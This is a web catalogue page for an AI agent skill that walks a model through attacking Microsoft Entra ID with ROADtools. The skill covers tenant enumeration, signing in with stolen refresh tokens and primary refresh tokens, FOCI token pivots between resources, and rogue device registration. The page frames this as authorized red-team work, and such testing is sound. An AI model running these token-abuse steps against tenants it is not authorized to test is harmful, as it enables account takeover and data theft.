Attacking Entra Id With Roadtools logo

Attacking Entra Id With Roadtools

CommunityPopular
mukul975
attacking-entra-id-with-roadtools

Enumerate Microsoft Entra ID (Azure AD) tenants with ROADrecon and acquire, exchange, and abuse tokens (including primary refresh tokens) with roadtx. Use for authorized red-team enumeration of a tenant's directory objects or for token-based identity attacks against Entra ID you are explicitly authorized to test.

Overview

Publishermukul975
RepositoryAnthropic-Cybersecurity-Skills
Skill nameattacking-entra-id-with-roadtools
Stars
34.3K
Forks
4.2K
Bundled files
3
LicenseApache-2.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 3 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by mukul975 on GitHub. Read the source before you install it.

Installation

Install the Attacking Entra Id With Roadtools AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/attacking-entra-id-with-roadtools
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git /tmp/Anthropic-Cybersecurity-Skills
mkdir -p .claude/skills
cp -r /tmp/Anthropic-Cybersecurity-Skills/skills/attacking-entra-id-with-roadtools .claude/skills/attacking-entra-id-with-roadtools
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Attacking Entra Id With Roadtools in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Attacking Entra Id With Roadtools on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Attacking Entra Id With Roadtools is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Attacking Entra ID with ROADtools

Authorized use only: ROADtools interacts with live Microsoft Entra ID (Azure AD) tenants and can register devices, mint and exchange tokens, and enumerate directory objects. Use it solely against tenants you own or are explicitly authorized in writing to test. Unauthorized access to a cloud tenant is illegal.

Overview

ROADtools (by Dirk-jan Mollema) is the de facto offensive toolkit for Microsoft Entra ID. It has two main components:

  • ROADrecon — authenticates to Entra ID, gathers the full directory into a local SQLite database via the Azure AD Graph API, and serves an Angular GUI to explore users, groups, roles, applications, service principals, conditional-access policies, and device objects offline. A plugin system exports to BloodHound and analyzes CA policies.
  • roadtx (ROADtools Token eXchange) — acquires and exchanges Entra-issued tokens across the many OAuth flows (ROPC, device code, auth-code, refresh-token exchange, app/federated app), performs device registration, and handles Primary Refresh Token (PRT) operations including PRT-based SSO and cookie minting. Its FOCI (Family of Client IDs) awareness lets a refresh token for one first-party client be redeemed for another resource.

Together they cover the Discovery phase against cloud identity: enumerate the tenant (T1087.004 Account Discovery: Cloud Account) and obtain/manipulate the tokens needed to reach Microsoft Graph, Azure Resource Manager, and other resources. ROADrecon's offline database makes recon stealthy and fast; roadtx makes token theft, PRT abuse, and cross-resource pivoting practical.

When to Use

  • During an authorized Azure / Entra ID red-team or cloud penetration test.
  • When you have a foothold credential, refresh token, or PRT and need to enumerate the tenant.
  • When you must pivot a token from one resource (e.g., Azure CLI) to another (e.g., Microsoft Graph).
  • When validating that conditional-access, device-compliance, and token controls actually constrain an attacker.
  • When mapping Entra attack paths (export to BloodHound for graph analysis).

Prerequisites

  • Written authorization and defined scope for the target tenant.
  • A starting credential: username/password (no MFA flows), a device code session, a refresh/access token, or a registered device's PRT.
  • Python 3.7+ (roadtx Selenium flows need a matching geckodriver/Firefox).
bash
# Core install (roadlib is a shared dependency, pulled in automatically)
python -m pip install roadrecon
python -m pip install roadtx
# Verify
roadrecon --help
roadtx --help

Objectives

  • Authenticate to Entra ID via the appropriate flow (device code preferred for MFA).
  • Gather the full directory with ROADrecon and analyze it in the GUI.
  • Export the directory to BloodHound and run CA-policy analysis plugins.
  • Acquire tokens with roadtx and exchange refresh tokens across resources/clients.
  • Demonstrate PRT-based SSO and document the resulting access.

MITRE ATT&CK Mapping

IDTacticOfficial Technique NameRole in this skill
T1087.004DiscoveryAccount Discovery: Cloud AccountROADrecon enumerates tenant users/accounts
T1069.003DiscoveryPermission Groups Discovery: Cloud GroupsROADrecon enumerates Entra groups and roles
T1538DiscoveryCloud Service DashboardGUI exploration of tenant configuration
T1550.001Defense Evasion / Lateral MovementUse Alternate Authentication Material: Application Access Tokenroadtx refresh-token exchange across resources
T1528Credential AccessSteal Application Access Tokenroadtx PRT/token acquisition

Workflow

Step 1: Authenticate with ROADrecon

Pick the flow that matches your foothold. Device code supports MFA; ROPC (-u/-p) does not.

bash
# Username/password (legacy, no MFA)
roadrecon auth -u user@tenant.onmicrosoft.com -p 'Password123!'

# Device-code flow (supports MFA)
roadrecon auth --device-code

# From a stolen access or refresh token
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>

# From a PRT (with session key) for SSO-grade access
roadrecon auth --prt <prt> --prt-sessionkey <session_key>

Authentication writes .roadtools_auth in the working directory.

Step 2: Gather the directory

bash
# Full gather into roadrecon.db (default)
roadrecon gather

# Include MFA/auth-method details (requires a privileged role)
roadrecon gather --mfa

Step 3: Explore in the GUI

bash
roadrecon gui
# Browse to http://127.0.0.1:5000 — users, groups, roles, applications,
# service principals, devices, and conditional-access policies, all offline.

Step 4: Run analysis plugins

bash
# Analyze conditional-access policies
roadrecon plugin policies -h
roadrecon plugin policies

# Export the gathered data to a BloodHound-importable format
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound

Step 5: Acquire tokens with roadtx

bash
# ROPC: get a Microsoft Graph token for the Azure CLI client
roadtx gettokens -u user@tenant.com -p 'Password123!' -c azcli -r msgraph

# Device-code style interactive auth for the Teams client to Graph
roadtx interactiveauth -c msteams -r msgraph

# From an existing refresh token
roadtx gettokens --refresh-token <refresh_token> -r msgraph

Tokens are written to .roadtools_auth (use --tokens-stdout to print).

Step 6: Exchange refresh tokens across resources (FOCI pivot)

A FOCI refresh token obtained for one first-party client can be redeemed for another resource without re-auth.

bash
# Convert the stored refresh token to an Azure Resource Manager token
roadtx refreshtokento -r azrm

# Convert to a scoped Graph token via the Teams client
roadtx refreshtokento -c msteams -r msgraph

# Find which first-party clients hold a given scope
roadtx getscope -s https://graph.microsoft.com/mail.read --foci

Step 7: Device registration and PRT-based SSO

bash
# Register a (virtual) device to the tenant
roadtx device -n redteam-device

# Request a PRT using the device cert/key and user creds
roadtx prt -u user@tenant.com -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem

# Use the PRT to authenticate a client to a resource (SSO-grade)
roadtx prtauth -c msteams -r msgraph

# Enrich a PRT with an interactive MFA claim
roadtx prtenrich -u user@tenant.com

Step 8: Inspect tokens

bash
# Decode and print claims of the stored / a supplied token
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .

Tools and Resources

ToolPurposePrimary Source
ROADtools (repo)Toolkit overview + wikihttps://github.com/dirkjanm/ROADtools
ROADrecon wikiAuth/gather/gui/plugin usagehttps://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon
roadtx wikiToken exchange + PRT/device flowshttps://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)
BloodHound CEGraph analysis of exported Entra datahttps://github.com/SpecterOps/BloodHound
Microsoft identity platformToken/flow referencehttps://learn.microsoft.com/entra/identity-platform/

Validation Criteria

  • Authenticated to the target tenant via an authorized flow; .roadtools_auth created.
  • Directory gathered into roadrecon.db (with --mfa where role allows).
  • GUI explored; users, groups, roles, apps, CA policies reviewed.
  • CA-policy and BloodHound plugins executed; data exported.
  • Tokens acquired with roadtx for at least one resource.
  • Refresh-token exchange to a second resource demonstrated (FOCI pivot).
  • Device registered and PRT-based SSO demonstrated (where in scope).
  • Token claims inspected with roadtx describe.
  • Findings and access documented for the engagement report.

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Attacking Entra Id With Roadtools AI skill do?

Enumerate Microsoft Entra ID (Azure AD) tenants with ROADrecon and acquire, exchange, and abuse tokens (including primary refresh tokens) with roadtx. Use for authorized red-team enumeration of a tenant's directory objects or for token-based identity attacks against Entra ID you are explicitly authorized to test.

Why use Attacking Entra Id With Roadtools on TypingMind?

Because you install it once and use it with any model. Attacking Entra Id With Roadtools is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Attacking Entra Id With Roadtools in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/attacking-entra-id-with-roadtools. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Attacking Entra Id With Roadtools?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Attacking Entra Id With Roadtools?

As many as you like. As long as a model supports skills, you can use Attacking Entra Id With Roadtools with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Attacking Entra Id With Roadtools AI skill free?

Yes. It is published on GitHub by mukul975 under the Apache-2.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇